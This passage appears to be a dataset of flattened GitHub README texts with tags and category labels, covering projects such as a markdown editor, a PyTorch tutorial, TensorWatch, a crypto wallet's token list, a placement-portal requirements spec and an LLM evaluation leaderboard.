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muya | p align center img src public logo jpg alt muya height 150 p muya originated from marktext https github com marktext marktext which was originally used in the marktext and provides markdown editing support for marktext today muya is available as a stand alone library that provides an efficient markdown editing experience for many web browser applications a muya is still under development and should not be used for production installing sh yarn add marktext muya usage javascript import muya from marktext muya const container document queryselector editor const muya new muya container documents coming soon development commit msg guideline https github com angular angular blob master contributing md commit message guidelines sh step1 install dependencies yarn step2 run the development codes yarn dev build sh yarn build publish sh update version numbers npm run pub faq what is the relationship between marktext and muya muya is derived from marktext our team believes that muya should not be limited to desktop applications it should also run in a web browser so we have done some compatibility with browsers and electron applications so that muya can leave electron apps and can run into different browser environments what is the relationship between marktext s version and the muya s version none built with muya marktext https github com marktext marktext next generation markdown editor running on platforms of macos windows and linux mindbox https www mindbox cc a note taking app that perfectly supports markdown syntax license mit jocs https github com jocs | markdown markdown-editor | front_end |
etki_JS | etki js remote code camp useful links course map course map md student student md cohort 2020 cohort2020 md about etki js remote code camp is an online program to study learn and dive deep into modern web development which is organized by etki tech network community together with thoughtworks https www thoughtworks com and university of helsinki https www helsinki fi en as technology stack the students learn the most relevant and up to date technologies for modern web development including javascript react node js mongodb express and graphql in the etki js course we run regular co learning workshops for supporting the students solo learning efforts on the structured course material we have selected in which students can ask their questions on the material to experienced software engineers or discuss co study with their peers etki js courses are self paced 100 free of charges and will run fully remote both intermediate developers who want to dive deep into web development and beginner students are well served with our selection of learning material our course is planned to be on going duration of the learning program will depend on the individual student s knowledge level and their pace as course material we follow the open source programs of university of helsinki s fullstackopen and other high quality learning materials from freecodecamp and javascript info if students follow all the course material of 100 hours diligently to finish the fullstackopen program and deliver the course projects on top they will be presented with an official completion certification from university of helsinki our mentors are english or turkish speakers students who speak english or turkish are welcome main goal of this course is to provide a free and safe online learning environment for the underrepresented or underprivileged people in technology and for the people who are looking into transitioning into the technology area as community we follow the berlin code of conduct https berlincodeofconduct org which is based on the pdx rb code of conduct https pdxruby org conduct please note our program material is public to everyone it is a self paced co learning program where students learn by themselves using the open source material we curate | web-development online-course | front_end |
pytorch_tutorial | welcome to universit laval s cvsl pytorch tutorial the goal of this tutorial is to give a quick overview of pytorch to computer vision graphics and machine learning researchers it targets people already accustomed with basic neural network theory and with some other neural networks frameworks like keras tensorflow theano caffe and the like we cover the basic pytorch features that allows tinkering tweaking and understanding alongside inference and training this repository is a companion for a 90 minutes long presentation in an execute along format for the attendees two datasets are used mnist provided by torchvision and the kaggle s dogs vs cats redux https www kaggle com c dogs vs cats redux kernels edition dataset please download the dataset and unzip it in a folder called cats and dogs the proposed architectures are definitely not optimal for the given tasks they are only presented for teaching purposes i highly recommend the very good pytorch examples of justin johnson https github com jcjohnson pytorch examples to get an overview of all the rest offered in pytorch like custom layers custom autograd functions the optimizers etc summary goals get you started with hands on reusable examples get you interested and hint you to the right places examples are targeted for research on deep learning not specifically covered multi gpu acceleration just the basics custom layers advanced stuff requirements all the examples were developed for pytorch 1 2 on python 3 7 for the last examples the cats vs dogs redux https www kaggle com c dogs vs cats redux kernels edition dataset is needed list of examples all the examples in presentation order example 1 https github com soravux pytorch tutorial blob master example1 py pytorch s official mnist example with slight modifications and annotations to explain during the presentation data loading network architecture and train eval loop example 2 getting the gradient and the features of the network example 2 gradient https github com soravux pytorch tutorial blob master example2 gradient py how to set probes inside the network to obtain the gradient before the first fc layer as a numpy array also shows how to modify the gradient during training example 2 adversarial example https github com soravux pytorch tutorial blob master example2 adv example py get the gradient of the input subtracting this gradient to the input would generate an adversarial example out of the box this example trains 2 epochs before displaying the gradients using matplotlib otherwise the displays are too random just input continue in pdb after the second epoch to begin the gradient display example 3 checkpointing https github com soravux pytorch tutorial blob master example3 py example 1 with checkpointing example 4 dynamic graph https github com soravux pytorch tutorial blob master example4 py simple example of dynamic graph execution one major feature difference with other frameworks example 5 custom dataset https github com soravux pytorch tutorial blob master example5 py custom architecture derived from example 1 to work on the cats and dogs dataset obtains around 66 accuracy in a single epoch 12 minutes on cpu example 6 transfer learning example 6 resnet 50 https github com soravux pytorch tutorial blob master example6 py finetuning pretrained resnet 50 on the cats and dogs dataset 95 accuracy in a single epoch 30 minutes on cpu example 6 squeezenet 1 1 https github com soravux pytorch tutorial blob master example6 squeezenet py finetuning pretrained squeezenet 1 1 on the cats and dogs dataset 93 accuracy in a single epoch 13 minutes on cpu example 6 gradients https github com soravux pytorch tutorial blob master example6 gradient py how to set a backward hook to get gradients and foward hooks to get features on a pretrained network displays some gradients live using matplotlib example 6 feature extractor https github com soravux pytorch tutorial blob master example6 features py resnet 50 feature extractor on images loaded using pil displays some features live using matplotlib here is the output from example6 features py feature vector example readme images example6 features png feature vector example contributing you are welcome to propose pull requests to this repository on github | ai |
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NLP-with-Python-and-NLTK-Solutions | nlp with python solutions this repository stores my solutions to the exercises of natural language processing with python analyzing text with the natural language toolkit http www nltk org book | nltk-book natural-language-processing solutions nltk | ai |
tensorwatch | welcome to tensorwatch tensorwatch is a debugging and visualization tool designed for data science deep learning and reinforcement learning from microsoft research it works in jupyter notebook to show real time visualizations of your machine learning training and perform several other key analysis tasks for your models and data tensorwatch is designed to be flexible and extensible so you can also build your own custom visualizations uis and dashboards besides traditional what you see is what you log approach it also has a unique capability to execute arbitrary queries against your live ml training process return a stream as a result of the query and view this stream using your choice of a visualizer we call this lazy logging mode lazy logging mode tensorwatch is under heavy development with a goal of providing a platform for debugging machine learning in one easy to use extensible and hackable package img src docs images teaser gif alt tensorwatch in jupyter notebook width 400 how to get it pip install tensorwatch tensorwatch supports python 3 x and is tested with pytorch 0 4 1 x most features should also work with tensorflow eager tensors tensorwatch uses graphviz to create network diagrams and depending on your platform sometime you might need to manually install https graphviz gitlab io download it how to use it quick start here s simple code that logs an integer and its square as a tuple every second to tensorwatch import tensorwatch as tw import time streams will be stored in test log file w tw watcher filename test log create a stream for logging s w create stream name metric1 generate jupyter notebook to view real time streams w make notebook for i in range 1000 write x y pair we want to log s write i i i time sleep 1 when you run this code you will notice a jupyter notebook file test ipynb gets created in your script folder from a command prompt type jupyter notebook and select test ipynb choose cell run all in the menu to see the real time line graph as values get written in your script here s the output you will see in jupyter notebook img src docs images quick start gif alt tensorwatch in jupyter notebook width 250 to dive deeper into the various other features please see tutorials tutorials and notebooks https github com microsoft tensorwatch tree master notebooks how does this work when you write to a tensorwatch stream the values get serialized and sent to a tcp ip socket as well as the file you specified from jupyter notebook we load the previously logged values from the file and then listen to that tcp ip socket for any future values the visualizer listens to the stream and renders the values as they arrive ok so that s a very simplified description the tensorwatch architecture is actually much more powerful almost everything in tensorwatch is a stream files sockets consoles and even visualizers are streams themselves a cool thing about tensorwatch streams is that they can listen to any other streams this allows tensorwatch to create a data flow graph this means that a visualizer can listen to many streams simultaneously each of which could be a file a socket or some other stream you can recursively extend this to build arbitrary data flow graphs tensorwatch decouples streams from how they get stored and how they get visualized visualizations in the above example the line graph is used as the default visualization however tensorwatch supports many other diagram types including histograms pie charts scatter charts bar charts and 3d versions of many of these plots you can log your data specify the chart type you want and let tensorwatch take care of the rest one of the significant strengths of tensorwatch is the ability to combine compose and create custom visualizations effortlessly for example you can choose to visualize an arbitrary number of streams in the same plot or you can visualize the same stream in many different plots simultaneously or you can place an arbitrary set of visualizations side by side you can even create your own custom visualization widget simply by creating a new python class implementing a few methods comparing results of multiple runs each tensorwatch stream may contain a metric of your choice by default tensorwatch saves all streams in a single file but you could also choose to save each stream in separate files or not to save them at all for example sending streams over sockets or into the console directly zero hit to disk later you can open these streams and direct them to one or more visualizations this design allows you to quickly compare the results from your different experiments in your choice of visualizations easily training within jupyter notebook often you might prefer to do data analysis ml training and testing all from within jupyter notebook instead of from a separate script tensorwatch can help you do sophisticated real time visualizations effortlessly from code that is run within a jupyter notebook end to end lazy logging mode a unique feature in tensorwatch is the ability to query the live running process retrieve the result of this query as a stream and direct this stream to your preferred visualization s you don t need to log any data beforehand we call this new way of debugging and visualization a lazy logging mode for example as seen below we visualize input and output image pairs sampled randomly during the training of an autoencoder on a fruits dataset these images were not logged beforehand in the script instead the user sends query as a python lambda expression which results in a stream of images that gets displayed in the jupyter notebook img src docs images fruits gif alt tensorwatch in jupyter notebook width 200 see lazy logging tutorial https github com microsoft tensorwatch blob master docs lazy logging md pre training and post training tasks tensorwatch leverages several excellent libraries including hiddenlayer https github com waleedka hiddenlayer torchstat https github com swall0w torchstat visual attribution https github com yulongwang12 visual attribution to allow performing the usual debugging and analysis activities in one consistent package and interface for example you can view the model graph with tensor shapes with a one liner img src docs images draw model png alt model graph for alexnet width 400 you can view statistics for different layers such as flops number of parameters etc img src docs images model stats png alt model statistics for alexnet width 600 see notebook https github com microsoft tensorwatch blob master notebooks network arch ipynb you can view the dataset in a lower dimensional space using techniques such as t sne img src docs images tsne gif alt t sne visualization for mnist width 400 see notebook https github com microsoft tensorwatch blob master notebooks data exploration ipynb prediction explanations we wish to provide various tools for explaining predictions to help debugging models currently we offer several explainers for convolutional networks including lime https github com marcotcr lime for example the following highlights the areas that cause the resnet50 model to make a prediction for class 240 for the imagenet dataset img src docs images saliency png alt cnn prediction explanation width 300 see notebook https github com microsoft tensorwatch blob master notebooks cnn pred explain ipynb tutorials simple logging tutorial https github com microsoft tensorwatch blob master docs simple logging md lazy logging tutorial https github com microsoft tensorwatch blob master docs lazy logging md using tensorwatch for deep learning training mnist https github com microsoft tensorwatch blob master notebooks mnist ipynb using tensorwatch for deep learning training food360 https github com microsoft tensorwatch blob master notebooks fruits analysis ipynb exploring data using t sne https github com microsoft tensorwatch blob master notebooks data exploration ipynb predication explainers for convolutional neural networks https github com microsoft tensorwatch blob master notebooks cnn pred explain ipynb viewing model graph and statistics https github com microsoft tensorwatch blob master notebooks network arch ipynb paper more technical details are available in tensorwatch paper eics 2019 conference https arxiv org abs 2001 01215 please cite this as inproceedings tensorwatch2019eics author shital shah and roland fernandez and steven m drucker title a system for real time interactive analysis of deep learning training booktitle proceedings of the acm sigchi symposium on engineering interactive computing systems eics 2019 valencia spain june 18 21 2019 pages 16 1 16 6 year 2019 crossref dblp conf eics 2019 url https arxiv org abs 2001 01215 doi 10 1145 3319499 3328231 timestamp fri 31 may 2019 08 40 31 0200 biburl https dblp org rec bib conf eics shahfd19 bibsource dblp computer science bibliography https dblp org contribute we would love your contributions feedback questions and feature requests please file a github issue https github com microsoft tensorwatch issues new or send us a pull request please review the microsoft code of conduct https opensource microsoft com codeofconduct and learn more https github com microsoft tensorwatch blob master contributing md contact join the tensorwatch group on facebook https www facebook com groups 378075159472803 to stay up to date or ask any questions credits tensorwatch utilizes several open source libraries for many of its features these include hiddenlayer https github com waleedka hiddenlayer torchstat https github com swall0w torchstat visual attribution https github com yulongwang12 visual attribution pyzmq https github com zeromq pyzmq receptivefield https github com fornaxai receptivefield nbformat https github com jupyter nbformat please see install requires section in setup py setup py for upto date list license this project is released under the mit license please review the license file license txt for more details | ai deep-learning deeplearning machine-learning machinelearning reinforcement-learning debugging debugging-tool debug monitoring explainable-ai explainable-ml saliency model-visualization data-science python jupyter-notebook jupyter | ai |
Cognitive-Vision-Android | microsoft computer vision api android client library sample this repo contains the android client library sample for the microsoft computer vision api an offering within microsoft cognitive services https www microsoft com cognitive services formerly known as project oxford learn about the computer vision api https www microsoft com cognitive services en us computer vision api read the documentation https www microsoft com cognitive services en us computer vision api documentation find more sdks samples https www microsoft com cognitive services en us sdk sample api computer 20vision the client library the client library is a thin java client wrapper for the computer vision api the easiest way to consume the client library is to add com microsoft projectoxford vision package from maven central repository to find the latest version of client library go to http search maven org and search for com microsoft projectoxford to add the client library dependency from build gradle file add the following line in dependencies dependencies use the following line to include client library from maven central repository change the version number from the search maven org result compile com microsoft projectoxford vision 1 0 394 your other dependencies to do add the client library dependency from android studio 1 from menu choose file project structure 2 click on your app module 3 click on dependencies tab 4 click sign to add new dependency 5 pick library dependency from the drop down list 6 type com microsoft projectoxford and hit the search icon from choose library dependency dialog 7 pick the project oxford client library that you intend to use 8 click ok to add the new dependency the sample this sample is an android application to demonstrate the use of the computer vision api it demonstrates image analysis optical character recognition ocr and smart thumbnail generation requirements android os must be android 4 1 or higher api level 16 or higher build the sample 1 first you must obtain a computer vision api key by following the instructions on our website https azure microsoft com en us services cognitive services computer vision 2 start android studio and open project from vision android sample folder 3 in android studio project panel android view open file app res values strings xml and find the keys subscription key and subscription apiroot replace the placeholder values with those obtained in step 1 above if you cannot find the file strings xml it is in folder sample app src main res values string xml 4 in android studio select menu build make project to build the sample and run to launch this sample app img src samplescreenshots samplerunning1 png width 50 img src samplescreenshots samplerunning2 png width 50 run the sample in android studio select menu run and run app to launch this sample app once the app is launched click on buttons to use samples of between different scenarios and follow the instructions on screen microsoft will receive the images you upload and may use them to improve the computer vision api and related services by submitting an image you confirm you have consent from everyone in it contributing we welcome contributions feel free to file issues and pull requests on the repo and we ll address them as we can learn more about how you can help on our contribution rules guidelines contributing md you can reach out to us anytime with questions and suggestions using our communities below support questions stackoverflow https stackoverflow com questions tagged microsoft cognitive feedback feature requests cognitive services uservoice forum https cognitive uservoice com this project has adopted the microsoft open source code of conduct https opensource microsoft com codeofconduct for more information see the code of conduct faq https opensource microsoft com codeofconduct faq or contact opencode microsoft com mailto opencode microsoft com with any additional questions or comments license all microsoft cognitive services sdks and samples are licensed with the mit license for more details see license license md sample images are licensed separately please refer to license image license image md developer code of conduct developers using cognitive services including this client library sample are expected to follow the developer code of conduct for microsoft cognitive services found at http go microsoft com fwlink linkid 698895 http go microsoft com fwlink linkid 698895 | ai |
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tokens | tronwallet tokens 1 fork the repo 2 add 280x280 pixels png image of your token your token id or address should be used as name 3 add a json file with your token info check this example of allowed fields https github com tronwallet tokens blob master trc10 1 json 4 send the pull request it should take less than 24h hours to appear on tronwallet about tronwallet tronwallet app is a simple secure decentralized p2p crypto wallet for bitcoin btc ethereun eth tron trx and other top tokens coins and cryptocurrency assets with over 200 000 downloads from 183 countries worldwide tronwallet caters to a global audience of blockchain enthusiasts and cryptocurrency holders the wallet is available in close to 30 different languages tronwallet s p2p decentralized app has a simple and intuitive user interface and is a highly secure portal into the world of blockchain bitcoin btc tron trx and other top cryptocurrency coins and trx based tokens with tronwallet users can send and receive crypto without any fees swap between coins and tokens use smart contracts and browse decentralized applications dapps tronwallet uses advanced security mechanisms that completely protects the user s private keys and makes private keys and sensitive data available only on the user s specific device utilizing the latest military grade technology for encryption this means you truly own and control your bitcoin tron and other crypto and trx tokens no third party including tronwallet can access your private keys or restrict any transaction the user decides to make transactions of coins and tokens are direct safe secure and fast and are instantly recorded on the blockchain tronwallet app enables you to use the largest selection of dapps on the blockchain from games entertainment decentralized finance and other p2p distributed ledger applications the app s built in secure web browser allows users to explore dapps decentralized services and products at the push of a button tronwallet is a secure all in one p2p solution for any and all types of digital cryptocurrency transactions that makes it simple for users to manage their crypto holdings the tronwallet team releases updated versions regularly and automatically ensuring that each user has access to the newest technological innovations that are emerging on the blockchain among tron dapps and in the decentralized crypto economy tronwallet enables you to exchange your bitcoin btc tron trx and other crypto assets and trade your tokens in a simple fast and convenient way at a low cost on its native swap conversion tool tronwallet support for p2p bitcoin btc uses segwit technology which means transfer of coins are faster and more secure in the wallet tronwallet features full privacy no personal information is required there is no login or sign up the all in one wallet mobile app for blockchain and cryptocurrency industry leading in app support and help center no fees yes that s right send and receive is free a simple and easy to use user interface allows for a fast and intuitive experience your keys are yours and private to you alone you truly own your crypto fully decentralized p2p wallet and gateway to the digital decentralized economy optimized push notifications allow for immediate notifications once transactions are processed the most secure and trusted source to hold digital money in a mobile device integration with qr codes enabled quick scanner reader transaction history for bitcoin and other popular crypto unlock the app and access all functionalities with safer security mechanism like face id and fingerprint support for multiple digital wallets within one user interface and built in browser to explore the world of blockchain and dapps important note regarding security and privacy your private key is stored encrypted on your smartphone it is never shared or sent anywhere nobody at the tronwallet organization can access your private key never ever share your 12 word seed phrase never we cannot recover your funds if you lose your private key or share it with someone else tronwallet supports and is integrated with bitcoin btc wallet ethereum eth wallet tron trx wallet ethereum erc20 wallet bittorrent btt wallet wink win twx twx trc10 wallet trc20 wallet all erc20 based tokens all trx based tokens find tronwallet telegram https t me tronwalletme twitter https twitter com tronwalletme facebook https www facebook com tronwallet instagram https www instagram com tronwalletme medium https medium com tronwallet help tutorials https support tronwallet me hc en us | blockchain |
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office-ui-fabric-core | office ui fabric core https developer microsoft com en us fabric the front end framework for building experiences for office and office 365 fabric is a responsive mobile first collection of styles and tools designed to make it quick and simple for you to create web experiences using the office design language latest version 11 0 1 contents what s included whats included get started get started learn more learn more contribute to fabric contribute to fabric licenses licenses changelog changelog what s included this repository contains the core styles used across all aspects of fabric including icons type fonts colors the grid etc this is a separate project from office ui fabric react https github com officedev office ui fabric react which contains the react components get started for a quick start reference the latest release of fabric from a cdn or add a copy to your project see get started https developer microsoft com en us fabric get started on the office ui fabric site https developer microsoft com en us fabric for full details on the most common ways to get started with the core along with a description of what s included if you d like to get fabric through a package manager such as bower npm or nuget check out the package manager docs https github com officedev office ui fabric core blob master ghdocs packages md want to customize fabric for your project see building fabric https github com officedev office ui fabric blob master ghdocs building md to learn about the build process learn more new to fabric start with the project s site https developer microsoft com en us fabric to understand its purpose and explore the full set of styles and components from office ui fabric react https github com officedev office ui fabric react when you re ready to create an office add in with fabric take a look at the use office ui fabric with office add ins on msdn https msdn microsoft com en us library office mt450443 aspx article contribute to fabric bug reports feature requests and questions are posted on the issue tracker https github com officedev office ui fabric core issues for details on our contribution process and how we label issues see our contributing https github com officedev office ui fabric blob master ghdocs contributing md page licenses all files in this github repository are subject to the mit license https github com officedev office ui fabric core blob master license this project also references fonts and icons from a cdn which are subject to a separate asset license https static2 sharepointonline com files fabric assets license txt changelog we use github releases https github com blog 1547 release your software to manage our releases including the changelog between every release view a complete list of additions fixes and changes since 1 0 on the releases https github com officedev office ui fabric releases page join the microsoft 365 developer program get a free sandbox tools and other resources you need to build solutions for the microsoft 365 platform free developer sandbox https developer microsoft com microsoft 365 dev program subscription get a free renewable 90 day microsoft 365 e5 developer subscription sample data packs https developer microsoft com microsoft 365 dev program sample automatically configure your sandbox by installing user data and content to help you build your solutions access to experts https developer microsoft com microsoft 365 dev program experts access community events to learn from microsoft 365 experts personalized recommendations https developer microsoft com microsoft 365 dev program recommendations find developer resources quickly from your personalized dashboard this project has adopted the microsoft open source code of conduct https opensource microsoft com codeofconduct for more information see the code of conduct faq https opensource microsoft com codeofconduct faq or contact opencode microsoft com mailto opencode microsoft com with any additional questions or comments | front_end |
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OutDare | outdare swift project swift group project spring 2022 metropolia university of applied sciences idea was to create an application which uses mapkit voice recognition supports multiple languages through localization and fetched data from networks as json the project was divided in 4 sprints with daily scrum meetings weekly scrum reviews and other meetings for updating progress complete merges and fix errors table of content overview general info app features frameworks libraries back end and api service set up presentation contributors overview oudare is a swift application for completing different sort of challenges around the map and competing of the highest score on the leaderboard why outdare for players be more active walk cycle or run to the nearest challenge or plan a scenic route to several challenges at the time fun compete with other players to be at the top of the leaderbord develope yourself become smarter by doing fun challenges like quizzes tongue twisters and singing features register log in to use the app complete challenges and get points for it walk around the map and get points for it the further you walk the more points build your own route for the day to complete challenges around you check your ranking on the leaderboard add avatar edit details change password or your username in profile see your own achievements and which challenges you have completed buy points to build your way up the leaderboard generate your own challenge reveal challenge outside your radar buy paying with points frameworks libraries mapkit apple framework mapkit framework https developer apple com documentation mapkit uikit apple framework uikit framework https developer apple com documentation uikit swiftui apple framework swiftui framework https developer apple com xcode swiftui lottie lottie https lottiefiles com getting started backend and apis service application uses firebase as a backend trivia questions are fetched from opentdb com to create quizzes set up to run this project installing locally by cloning to xcode and run screenshots some of the views img src outdare screenshots map png width 200 img src outdare screenshots twister png width 200 img src outdare screenshots routes png width 200 img src outdare screenshots leaderboard png width 200 contributors sam h m l inen https github com samhamalainen jasmin partanen https github com jasminsp maiju himberg https github com maijuhimberg soulyvanh phetsarath https github com soulyvap tatu ihaksi https github com taaatu | front_end |
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tpcwebsite | 1 introduction 1 1 purpose 1 2 scope 1 3 definitions acronyms and abbreviations 1 4 references 1 5 overview of document 2 general description 2 1 product perspective 2 2 product functions 2 3 user characteristics 2 4 assumptions and dependencies 2 5 apportioning of requirements 1 specific requirements 3 1 external interfaces 3 2 functions 3 3 performance requirements 3 4 logical database requirements 3 5 design constraints 3 6 software system attributes 3 7 other requirements 4 appendices 4 1 appendix a glossary 4 2 appendix b analysis models 4 3 appendix c supplementary information team members 1 darisi priyatham 2 yogesh jhanwar 3 vivekananda 4 sudarshan 5 samriddhi 6 richa 7 vishnu 8 chakradar 9 ankit raj 1 introduction 1 1 purpose this software requirements specifications srs specifies the requirements of software system which helps both students and placement coordinator to make the process of creating modifying applying easier 1 2 scope the software system will provide a web based interface for the students to apply for a drive help them organize their educational details this system will also provide an administrative interface for creating updating drive information and getting details of the students who applied for the drive 1 3 definitions acronyms and abbreviations student a user of the system who makes use of software by applying for the drives organizing his information placement coordinator a user of the system who makes use of software by creating modifying the drive details getting details of the applied students of a drive drive drive can be a placement drive after their 4th year or internship drive within their 4 years which is conducted by companies to recruit students by help of placement cell 1 4 references ieee std 830 2019 ieee recommended practice for software requirements specifications 1 5 overview of document this srs document is structured into the following sections introduction provides an overview of the document and its contents general description provides a high level description of the software system specific requirements provides a detailed description of the software system requirements appendices includes additional information that may be helpful for understanding or implementing the srs html body div style page break after always div body html 2 general description 2 1 product perspective the software system will be a standalone software application that will be handled by placement coordinator the system will provide a web based interface that can be accessed by students 2 2 product functions the software system will provide you with the following functions student registration students of indian institute of information technology kottayam will be able to register and provide all the details that are required authenticated applying for a drive students will be able to apply for a drive and the student information regarding the drive will be shared to the respective company creating a drive placement coordinator will create a new drive so that interested students can apply for the drive updating drive required data sometimes companies will modify their requirements from the student data placement coordinator should be able to get that data by modifying drive updating drive this helps to change the dates and other details in a particular drive profile they can store their educational details personal details certificates resume which help them to keep all information at a place private to them in a organized manner history help them managing previous drives information experience placement calander helps to have a track of all the upcoming and ongoing drives intership rounds dates at a place dashboard displays the list of upcoming ongoing drives calander this is basically the home page of the software 2 3 user characteristics students students apply for the drive and use this application to store their details information they can have a history of their drives students can use this application with a basic technical knowledge and internet placement coordinator placement coordinator is actually the one who create modify drives updates the calander and take care of other things they can take care of these things from placement coordinator interface they will have admin priviliges authorized should have good technical knowledge and internet facility 2 4 assumptions and dependencies the following assumptions are made about the environment in which the application is used the users have a good internet connection the profile their drive history their information is secured and private to them 2 5 apportioning of requirements no specific requirements need to be apportioned among different parts 3 specific requirements 3 1 external interfaces there are no external interfaces for the placement management application 3 2 functions the software system will provide you with the following functions student registration students of indian institute of information technology kottayam will be able to register and provide all the details that are required authenticated applying for a drive students will be able to apply for a drive and the student information regarding the drive will be shared to the respective company creating a drive placement coordinator will create a new drive so that interested students can apply for the drive updating drive required data sometimes companies will modify their requirements from the student data placement coordinator should be able to get that data by modifying drive updating drive this helps to change the dates and other details in a particular drive profile they can store their educational details personal details certificates resume which help them to keep all information at a place private to them in a organized manner history help them managing previous drives information experience placement calander helps to have a track of all the upcoming and ongoing drives intership rounds dates at a place dashboard displays the list of upcoming ongoing drives calander this is basically the home page of the software 3 3 performance requirements the system software must meet the following performance requirements response time the system must respond to student requests within 3 seconds concurrent users the system must be able to handle a minimum of 100 concurrent users at any given time availability the system must have an uptime of at least 99 9 3 4 logical database requirements the software system will maintain the following data in a logical database student information name email address phone number 10th grade 12th grade cgpa sgpa rollnumber login id password resume link certifications link drive history driveid drive status performance experience company information companyid company name ctc location role 3 5 design constraints web based interface the system must be accessible through a web based interface that is compatible with popular web browsers security the system must incorporate appropriate security measures to protect student personal and educational information 3 6 software system attributes the application must exhibit the following software system attributes maintainability the system must be easy to maintain and update by coordinators usability the system must be easy to use for both students coordinators portability the system must be portable and able to run on different hardware and operating system environments 3 7 other requirements compliance the application must comply with all applicable laws and regulations related to college placement cell poilicies documentation the application must be accompanied by appropriate documentation including user manuals and technical specifications 4 appendices 4 1 appendix a glossary student a user of the system who makes use of software by applying for the drives organizing his information placement coordinator a user of the system who makes use of software by creating modifying the drive details getting details of the applied students of a drive drive drive can be a placement drive after their 4th year or internship drive within their 4 years which is conducted by companies to recruit students by help of placement cell 4 2 appendix b analysis models use case model the use case model describes the interactions between the website and students the use cases include applying for a drive storing information data model the data model describes the data elements used by the application including student coordinator drive 4 3 appendix c supplementary information assumptions the application assumes that all students are authorized to apply for the drives and the data of applied students will be shared to company securely constraints the application is subject to constraints related to the capacity of the system to handle multiple users concurrently dependencies the application rlies on the placement coordinator to update and create the drives including servers network infrastructure operational scenarios the applicatoin will operate 24 hours a day 7 days a week and will be accessible to users via a web based user interface security requirements the application must maintain student privacy and prevent unauthorized access to student accounts and personal information usability requirements the application must be helping them to save their time and must include features to store their data more organizedly | firebase firebase-auth firestore-database html-css-javascript | server |
Serverless-Todo-App | serverless todo a simple todo application using aws lambda and serverless framework developed alongside the udacity cloud engineering nanodegree functionality of the application this application allow creating removing updating fetching todo items each todo item can optionally have an attachment image each user only has access to todo items that he she has created how to run the application backend to deploy an application run the following commands cd backend npm install sls deploy v frontend to run a client application run the following commands cd client npm install npm run start this should start a development server with the react application that will interact with the serverless todo application | cloud |
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Database_Engineer | database engineer | server |
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Mobile-Development | mobile development mobile development | front_end |
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people-counter | maintainer jeffskinnerbox yahoo com www jeffskinnerbox me version 0 4 0 div align center img src https python deprecated readthedocs io en latest images logo full png title deprecated is increasingly used as a technical term meaning to recommend against using something on the grounds that it is obsolete or to declare some technological feature or function to be obsolescent the earliest meaning of deprecate was to pray against as an evil and soon after this first meaning it took on the additional sense to express disapproval of meanwhile depreciate the closely related word with which it is often confused means to lower in value align center div freeboard freeboard dashboard https freeboard thingspace io board yx8hgw my jupyter notebooks my expanding set of jupyter notebooks pull text from home jeff blogging content ideas what if you jupyter environment isn t on your local computer but instead on a remote compute accessible via tcp ip you want to open and manipulate an jupyter notebook running on the remote computer this can be done by opening an ssh tunnel this tunnel will forward the port used by the remotely running jupyter notebook server instance to a port on your local machine where it can be accessed in a browser just like a locally running jupyter notebook instance on the remote machine start the jupyter notebooks server bash on the remote machine start the jupyter notebooks server jupyter notebook no browser port 8889 on the local machine start an ssh tunnel bash on the local machine start an ssh tunnel run in background ssh f n l localhost 8888 localhost 8889 remote user remote host run in foreground ssh n l localhost 8888 localhost 8889 remote user remote host ssh n pi bluerpi l localhost 8888 localhost 8889 now enter localhost 8888 in your favorite browser to use the remote jupyter notebook within chromebook 1 in one window login to desktop cd jupyter notebooks jupyter notebook no browser port 8889 2 in 2nd window ssh n jeff desktop l localhost 8888 localhost 8889 3 in 3rd window gnome www browser 4 now enter localhost 8888 in the browser and now you can access the remote jupyter notebook sources the people counting algorithm people counter 1 installing python opencv and trying it out http www femb com mx people counter people counter 1 installing python opencv and trying it out people counter 2 opening a video stream http www femb com mx people counter people counter 2 opening a video stream people counter 3 drawing in the video window http www femb com mx people counter people counter 3 drawing in the video window people counter 4 background susbtraction http www femb com mx people counter people counter 4 background susbtraction people counter 5 morphological transformations http www femb com mx people counter people counter 5 morphological transformations people counter 6 find contours http www femb com mx people counter people counter 6 find contours people counter 7 defining a person http www femb com mx people counter people counter 7 defining a person people counter 8 following movement http www femb com mx people counter people counter 8 finding movement people counter 9 counting http www femb com mx people counter people counter 9 counting fast video processing faster video file fps with cv2 videocapture and opencv https www pyimagesearch com 2017 02 06 faster video file fps with cv2 videocapture and opencv unifying picamera and cv2 videocapture into a single class with opencv http www pyimagesearch com 2016 01 04 unifying picamera and cv2 videocapture into a single class with opencv increasing webcam fps with python and opencv http www pyimagesearch com 2015 12 21 increasing webcam fps with python and opencv a series of opencv convenience functions https www pyimagesearch com 2015 02 02 just open sourced personal imutils package series opencv convenience functions loading opencv optimizing opencv on the raspberry pi https www pyimagesearch com 2017 10 09 optimizing opencv on the raspberry pi raspbian stretch install opencv 3 python on your raspberry pi https www pyimagesearch com 2017 09 04 raspbian stretch install opencv 3 python on your raspberry pi | ai |
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Target-Score-Detector | target score detector a computer vision algorithm for target shooting score detection and additional performance analysis br it works with all sorts of targets but currently only available for archery br demo video a href https www youtube com watch v 0vi2vhihs0q feature youtu be img src https i imgur com wlgcpni jpg alt target score detector width 675 height 377 border 20 a | archery computer-vision opencv opencv-python python target-shooting | ai |
h2o-LLM-eval | h2o large language model llm evaluation in an era where large language models llms are rapidly gaining traction for diverse applications the need for comprehensive evaluation and comparison of these models has never been more critical this repository is an effort in that direction providing an evaluation method and the toolkit for the assessment of large language models please read the blog post https h2o ai blog h2o llm evalgpt a comprehensive tool for evaluating large language models for more context evalgpt ai evalgptai elo leaderboard elo leaderboard prompts prompts responses responses a b tests ab tests docker compose setup docker compose setup local setup local setup reproducing leaderboard reproducing leaderboard results roadmap roadmap evalgpt ai evalgpt ai https evalgpt ai hosts the leaderboard of some of the top llms ranked by their elo scores the leaderboard is updated frequently and provides a comprehensive and fair assessment of large language models different features of the website are described below elo leaderboard the elo leaderboard provides a ranking of the top llms based on their elo scores the elo scores are computed from the results of a b tests wherein the llms are pitted against each other in a series of games the ranking system employed is based on the elo rating system https en wikipedia org wiki elo rating system the procedure for elo score computation closely follows the methodology outlined at this resource https lmsys org blog 2023 05 25 leaderboard elo leaderboard docs images leaderboard png prompts prompts tab has the list of 60 prompts used to evaluate the llms the prompts are categorized into different categories based on the type of task they are designed for prompts docs images testset png responses in the responses section you can see the responses generated by the llms for the prompts you can also select the llms and prompts to compare the responses responses docs images responses png click on the select models button to select the llms to compare you can also select a different prompt using the previous and next buttons select models and prompts docs images evalgpt responses toolbar png for any two selected models and the prompt you can see the evaluation by gpt4 by clicking on the show gpt eval button on the top right show gpt eval button docs images evalgpt gpt eval button png show eval gpt docs images gpt eval png a b tests which is better a or b provides the interface to perform human evaluation of the llms each a b test consists of a prompt and two 